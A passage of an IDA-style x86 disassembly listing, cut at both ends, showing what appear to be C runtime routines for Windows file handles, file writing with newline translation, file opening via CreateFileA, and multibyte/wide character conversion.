		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_420230	endp


; =============== S U B	R O U T	I N E =======================================



sub_4202C5	proc near		; CODE XREF: sub_42063B+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD1A0
		push	edi
		jnb	short loc_420325
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD0A0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_420325
		cmp	dword_43D254, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_42031B
		sub	eax, 0
		jz	short loc_420312
		dec	eax
		jz	short loc_42030D
		dec	eax
		jnz	short loc_42031B
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_420315
; ---------------------------------------------------------------------------


loc_42030D:				; CODE XREF: sub_4202C5+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_420315
; ---------------------------------------------------------------------------


loc_420312:				; CODE XREF: sub_4202C5+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_420315:				; CODE XREF: sub_4202C5+46j
					; sub_4202C5+4Bj
		call	dword_42402C	; SetStdHandle


loc_42031B:				; CODE XREF: sub_4202C5+36j
					; sub_4202C5+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_420339
; ---------------------------------------------------------------------------


loc_420325:				; CODE XREF: sub_4202C5+Cj
					; sub_4202C5+28j
		and	dword_4DCD78, 0
		mov	dword_4DCD74, 9
		or	eax, 0FFFFFFFFh


loc_420339:				; CODE XREF: sub_4202C5+5Ej
		pop	edi
		pop	esi
		retn
sub_4202C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42033C	proc near		; CODE XREF: sub_41A652+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DD1A0
		push	edi
		jnb	short loc_42039F
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DD0A0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42039F
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42039F
		cmp	dword_43D254, 1
		jnz	short loc_420395
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_42038C
		dec	ecx
		jz	short loc_420387
		dec	ecx
		jnz	short loc_420395
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42038F
; ---------------------------------------------------------------------------


loc_420387:				; CODE XREF: sub_42033C+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42038F
; ---------------------------------------------------------------------------


loc_42038C:				; CODE XREF: sub_42033C+3Ej
		push	eax
		push	0FFFFFFF6h


loc_42038F:				; CODE XREF: sub_42033C+49j
					; sub_42033C+4Ej
		call	dword_42402C	; SetStdHandle


loc_420395:				; CODE XREF: sub_42033C+38j
					; sub_42033C+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4203B3
; ---------------------------------------------------------------------------


loc_42039F:				; CODE XREF: sub_42033C+Cj
					; sub_42033C+2Aj ...
		and	dword_4DCD78, 0
		mov	dword_4DCD74, 9
		or	eax, 0FFFFFFFFh


loc_4203B3:				; CODE XREF: sub_42033C+61j
		pop	edi
		pop	esi
		retn
sub_42033C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203B6	proc near		; CODE XREF: sub_41A652+32p
					; sub_41A652+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD1A0
		jnb	short loc_4203DE
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD0A0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4203DE
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4203DE:				; CODE XREF: sub_4203B6+Aj
					; sub_4203B6+23j
		and	dword_4DCD78, 0
		mov	dword_4DCD74, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4203B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203F3	proc near		; CODE XREF: sub_41A730+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD1A0
		jnb	short loc_42043C
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DD0A0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_42043C
		push	eax
		call	sub_4203B6
		pop	ecx
		push	eax
		call	dword_424028	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_420431
		call	dword_42408C	; RtlGetLastWin32Error
		jmp	short loc_420433
; ---------------------------------------------------------------------------


loc_420431:				; CODE XREF: sub_4203F3+34j
		xor	eax, eax


loc_420433:				; CODE XREF: sub_4203F3+3Cj
		test	eax, eax
		jz	short locret_420449
		mov	dword_4DCD78, eax


loc_42043C:				; CODE XREF: sub_4203F3+Aj
					; sub_4203F3+22j
		mov	dword_4DCD74, 9
		or	eax, 0FFFFFFFFh

locret_420449:				; CODE XREF: sub_4203F3+42j
		retn
sub_4203F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42044A	proc near		; CODE XREF: sub_41A76B+2Cp
					; sub_41C16A+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DD1A0
		push	esi
		push	edi
		jnb	loc_4205DE
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD0A0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_4205DE
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42049B


loc_420494:				; CODE XREF: sub_42044A+177j
		xor	eax, eax
		jmp	loc_4205F2
; ---------------------------------------------------------------------------


loc_42049B:				; CODE XREF: sub_42044A+48j
		test	al, 20h
		jz	short loc_4204AB
		push	2
		push	edi
		push	ecx
		call	sub_41F3C4
		add	esp, 0Ch


loc_4204AB:				; CODE XREF: sub_42044A+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_42057A
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_4205B2


loc_4204CB:				; CODE XREF: sub_42044A+F5j
		lea	eax, [ebp+var_414]


loc_4204D1:				; CODE XREF: sub_42044A+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_420505
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4204F0
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4204F0:				; CODE XREF: sub_42044A+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4204D1


loc_420505:				; CODE XREF: sub_42044A+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_4240E0	; WriteFile
		test	eax, eax
		jz	short loc_42056F
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_420541
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_4204CB


loc_420541:				; CODE XREF: sub_42044A+EAj
					; sub_42044A+12Ej
		xor	edi, edi


loc_420543:				; CODE XREF: sub_42044A+150j
					; sub_42044A+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_4205D9
		cmp	[ebp+arg_0], edi
		jz	short loc_4205B2
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_4205A7
		mov	dword_4DCD74, 9
		mov	dword_4DCD78, eax
		jmp	loc_4205EF
; ---------------------------------------------------------------------------


loc_42056F:				; CODE XREF: sub_42044A+E0j
		call	dword_42408C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_420541
; ---------------------------------------------------------------------------


loc_42057A:				; CODE XREF: sub_42044A+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_4240E0	; WriteFile
		test	eax, eax
		jz	short loc_42059C
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_420543
; ---------------------------------------------------------------------------


loc_42059C:				; CODE XREF: sub_42044A+145j
		call	dword_42408C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_420543
; ---------------------------------------------------------------------------


loc_4205A7:				; CODE XREF: sub_42044A+10Fj
		push	[ebp+arg_0]
		call	sub_41CFBF
		pop	ecx
		jmp	short loc_4205EF
; ---------------------------------------------------------------------------


loc_4205B2:				; CODE XREF: sub_42044A+7Bj
					; sub_42044A+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_4205C7
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_420494


loc_4205C7:				; CODE XREF: sub_42044A+16Fj
		mov	dword_4DCD74, 1Ch
		mov	dword_4DCD78, edi
		jmp	short loc_4205EF
; ---------------------------------------------------------------------------


loc_4205D9:				; CODE XREF: sub_42044A+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_4205F2
; ---------------------------------------------------------------------------


loc_4205DE:				; CODE XREF: sub_42044A+15j
					; sub_42044A+37j
		and	dword_4DCD78, 0
		mov	dword_4DCD74, 9


loc_4205EF:				; CODE XREF: sub_42044A+120j
					; sub_42044A+166j ...
		or	eax, 0FFFFFFFFh


loc_4205F2:				; CODE XREF: sub_42044A+4Cj
					; sub_42044A+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42044A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4205F7	proc near		; CODE XREF: sub_41BC23+32p
					; sub_41C16A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DCE4C
		push	1000h
		call	sub_418235
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_420620
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_420631
; ---------------------------------------------------------------------------


loc_420620:				; CODE XREF: sub_4205F7+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_420631:				; CODE XREF: sub_4205F7+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4205F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42063B	proc near		; CODE XREF: sub_41BF0D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_420661
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_42066C
; ---------------------------------------------------------------------------


loc_420661:				; CODE XREF: sub_42063B+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_42066C:				; CODE XREF: sub_42063B+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_420686
		test	ch, 40h
		jnz	short loc_420682
		cmp	dword_4DD070, eax
		jz	short loc_420686


loc_420682:				; CODE XREF: sub_42063B+3Dj
		or	[ebp+var_1], 80h


loc_420686:				; CODE XREF: sub_42063B+38j
					; sub_42063B+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_4206BE
		dec	eax
		jz	short loc_4206B5
		dec	eax
		jz	short loc_4206AC


loc_420697:				; CODE XREF: sub_42063B+9Fj
					; sub_42063B+E8j ...
		mov	dword_4DCD74, 16h
		mov	dword_4DCD78, ebx
		jmp	loc_4208D1
; ---------------------------------------------------------------------------


loc_4206AC:				; CODE XREF: sub_42063B+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_4206C5
; ---------------------------------------------------------------------------


loc_4206B5:				; CODE XREF: sub_42063B+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_4206C5
; ---------------------------------------------------------------------------


loc_4206BE:				; CODE XREF: sub_42063B+54j
		mov	[ebp+var_C], 80000000h


loc_4206C5:				; CODE XREF: sub_42063B+78j
					; sub_42063B+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_4206F3
		cmp	eax, 20h
		jz	short loc_4206EA
		cmp	eax, 30h
		jz	short loc_4206E1
		cmp	eax, 40h
		jnz	short loc_420697
		mov	[ebp+var_10], esi
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------


loc_4206E1:				; CODE XREF: sub_42063B+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------


loc_4206EA:				; CODE XREF: sub_42063B+95j
		mov	[ebp+var_10], 1
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------


loc_4206F3:				; CODE XREF: sub_42063B+90j
		mov	[ebp+var_10], ebx


loc_4206F6:				; CODE XREF: sub_42063B+A4j
					; sub_42063B+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_420740
		jz	short loc_42073B
		cmp	ecx, ebx
		jz	short loc_42073B
		cmp	ecx, edi
		jz	short loc_420732
		cmp	ecx, 200h
		jz	short loc_420759
		cmp	ecx, 300h
		jnz	loc_420697
		mov	[ebp+var_8], 2
		jmp	short loc_420769
; ---------------------------------------------------------------------------


loc_420732:				; CODE XREF: sub_42063B+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_420769
; ---------------------------------------------------------------------------


loc_42073B:				; CODE XREF: sub_42063B+D0j
					; sub_42063B+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_420769
; ---------------------------------------------------------------------------


loc_420740:				; CODE XREF: sub_42063B+CEj
		cmp	ecx, 500h
		jz	short loc_420762
		cmp	ecx, 600h
		jz	short loc_420759
		cmp	ecx, edx
		jz	short loc_420762
		jmp	loc_420697
; ---------------------------------------------------------------------------


loc_420759:				; CODE XREF: sub_42063B+E0j
					; sub_42063B+113j
		mov	[ebp+var_8], 5
		jmp	short loc_420769
; ---------------------------------------------------------------------------


loc_420762:				; CODE XREF: sub_42063B+10Bj
					; sub_42063B+117j
		mov	[ebp+var_8], 1


loc_420769:				; CODE XREF: sub_42063B+F5j
					; sub_42063B+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_420788
		mov	ecx, dword_4DCD7C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_420788
		push	1
		pop	esi


loc_420788:				; CODE XREF: sub_42063B+138j
					; sub_42063B+148j
		test	al, 40h
		jz	short loc_420796
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_420796:				; CODE XREF: sub_42063B+14Fj
		test	ah, 10h
		jz	short loc_42079D
		or	esi, edi


loc_42079D:				; CODE XREF: sub_42063B+15Ej
		test	al, 20h
		jz	short loc_4207A9
		or	esi, 8000000h
		jmp	short loc_4207B3
; ---------------------------------------------------------------------------


loc_4207A9:				; CODE XREF: sub_42063B+164j
		test	al, 10h
		jz	short loc_4207B3
		or	esi, 10000000h


loc_4207B3:				; CODE XREF: sub_42063B+16Cj
					; sub_42063B+170j
		call	sub_420230
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_4207D4
		and	dword_4DCD78, 0
		mov	dword_4DCD74, 18h
		jmp	short loc_420812
; ---------------------------------------------------------------------------


loc_4207D4:				; CODE XREF: sub_42063B+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_4240EC	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_420805
		push	esi
		call	dword_424030	; GetFileType
		test	eax, eax
		jnz	short loc_420819
		push	esi
		call	dword_424068	; CloseHandle


loc_420805:				; CODE XREF: sub_42063B+1B6j
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		call	sub_41CFBF
		pop	ecx


loc_420812:				; CODE XREF: sub_42063B+197j
		mov	eax, edi
		jmp	loc_4208EF
; ---------------------------------------------------------------------------


loc_420819:				; CODE XREF: sub_42063B+1C1j
		cmp	eax, 2
		jnz	short loc_420824
		or	[ebp+var_1], 40h
		jmp	short loc_42082D
; ---------------------------------------------------------------------------


loc_420824:				; CODE XREF: sub_42063B+1E1j
		cmp	eax, 3
		jnz	short loc_42082D
		or	[ebp+var_1], 8


loc_42082D:				; CODE XREF: sub_42063B+1E7j
					; sub_42063B+1ECj
		push	esi
		push	ebx
		call	sub_4202C5
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DD0A0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_4208D6
		test	al, 80h
		jz	short loc_4208D6
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_4208D6
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41F3C4
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_42088B
		cmp	dword_4DCD78, 83h
		jz	short loc_4208D6
		jmp	short loc_4208CA
; ---------------------------------------------------------------------------


loc_42088B:				; CODE XREF: sub_42063B+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41BCFC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4208B8
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_4208B8
		push	[ebp+var_10]
		push	ebx
		call	sub_421B1A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4208CA


loc_4208B8:				; CODE XREF: sub_42063B+265j
					; sub_42063B+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41F3C4
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4208D6


loc_4208CA:				; CODE XREF: sub_42063B+24Ej
					; sub_42063B+27Bj
		push	ebx
		call	sub_41A652
		pop	ecx


loc_4208D1:				; CODE XREF: sub_42063B+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_4208EF
; ---------------------------------------------------------------------------


loc_4208D6:				; CODE XREF: sub_42063B+221j
					; sub_42063B+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4208ED
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_4208ED
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_4208ED:				; CODE XREF: sub_42063B+29Fj
					; sub_42063B+2A5j
		mov	eax, ebx


loc_4208EF:				; CODE XREF: sub_42063B+1D9j
					; sub_42063B+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42063B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4208F4	proc near		; CODE XREF: sub_41C0F5+5Ep
					; sub_41CCC8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424C40
		push	offset sub_41FFCC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DCF68
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_420963
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_424930
		push	esi
		call	dword_424020	; GetStringTypeW
		test	eax, eax
		jz	short loc_420941
		mov	eax, esi
		jmp	short loc_42095E
; ---------------------------------------------------------------------------


loc_420941:				; CODE XREF: sub_4208F4+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CDDB0
		push	esi
		push	ebx
		call	dword_424024	; GetStringTypeA
		test	eax, eax
		jz	loc_420A29
		push	2
		pop	eax


loc_42095E:				; CODE XREF: sub_4208F4+4Bj
		mov	dword_4DCF68, eax


loc_420963:				; CODE XREF: sub_4208F4+2Fj
		cmp	eax, 2
		jnz	short loc_42098C
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_420974
		mov	eax, dword_4DCE34


loc_420974:				; CODE XREF: sub_4208F4+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_424024	; GetStringTypeA
		jmp	loc_420A2B
; ---------------------------------------------------------------------------


loc_42098C:				; CODE XREF: sub_4208F4+72j
		cmp	eax, 1
		jnz	loc_420A29
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4209A2
		mov	eax, dword_4DCE44
		mov	[ebp+arg_10], eax


loc_4209A2:				; CODE XREF: sub_4208F4+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_424168	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_420A29
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_418880
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_4182F0
		add	esp, 0Ch
		jmp	short loc_4209F8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_4209F8:				; CODE XREF: sub_4208F4+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_420A29
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_424168	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_420A29
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_424020	; GetStringTypeW
		jmp	short loc_420A2B
; ---------------------------------------------------------------------------


loc_420A29:				; CODE XREF: sub_4208F4+61j
					; sub_4208F4+9Bj ...
		xor	eax, eax


loc_420A2B:				; CODE XREF: sub_4208F4+93j
					; sub_4208F4+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4208F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_420A3D	proc near		; CODE XREF: sub_41C16A+61p
					; sub_41D026+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD1A0
		jb	short loc_420A4C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_420A4C:				; CODE XREF: sub_420A3D+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD0A0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_420A3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420A63	proc near		; CODE XREF: sub_41C27F+2D4p
					; sub_41C27F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_420A6F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420A6F:				; CODE XREF: sub_420A63+8j
		cmp	dword_4DCE34, 0
		jnz	short loc_420A8A
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_420ABC
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420A8A:				; CODE XREF: sub_420A63+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43F494
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DCE44
		call	dword_424164	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_420ABC
		cmp	[ebp+arg_0], 0
		jz	short loc_420AC9


loc_420ABC:				; CODE XREF: sub_420A63+1Ej
					; sub_420A63+51j
		mov	dword_4DCD74, 2Ah
		or	eax, 0FFFFFFFFh


loc_420AC9:				; CODE XREF: sub_420A63+57j
		pop	ebp
		retn
sub_420A63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420ACB	proc near		; CODE XREF: sub_41D0F0+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_420AEE
		cmp	[ebp+arg_8], ebx
		jz	short loc_420AEE
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_420AF4
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_420AEE
		mov	[eax], bx


loc_420AEE:				; CODE XREF: sub_420ACB+Cj
					; sub_420ACB+11j ...
		xor	eax, eax


loc_420AF0:				; CODE XREF: sub_420ACB+42j
					; sub_420ACB+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420AF4:				; CODE XREF: sub_420ACB+17j
		cmp	dword_4DCE34, ebx
		jnz	short loc_420B0F
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_420B0A
		movzx	ax, al
		mov	[ecx], ax


loc_420B0A:				; CODE XREF: sub_420ACB+36j
					; sub_420ACB+C0j
		push	1
		pop	eax
		jmp	short loc_420AF0
; ---------------------------------------------------------------------------


loc_420B0F:				; CODE XREF: sub_420ACB+2Fj
		mov	ecx, off_43F288
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420B6C
		mov	eax, dword_43F494
		cmp	eax, 1
		jle	short loc_420B53
		cmp	[ebp+arg_8], eax
		jl	short loc_420B5D
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DCE44
		call	dword_424168	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_43F494
		jnz	short loc_420AF0


loc_420B53:				; CODE XREF: sub_420ACB+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_420B5D
		cmp	[esi+1], bl
		jnz	short loc_420AF0


loc_420B5D:				; CODE XREF: sub_420ACB+61j
					; sub_420ACB+8Bj ...
		mov	dword_4DCD74, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_420AF0
; ---------------------------------------------------------------------------


loc_420B6C:				; CODE XREF: sub_420ACB+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DCE44
		call	dword_424168	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_420B0A
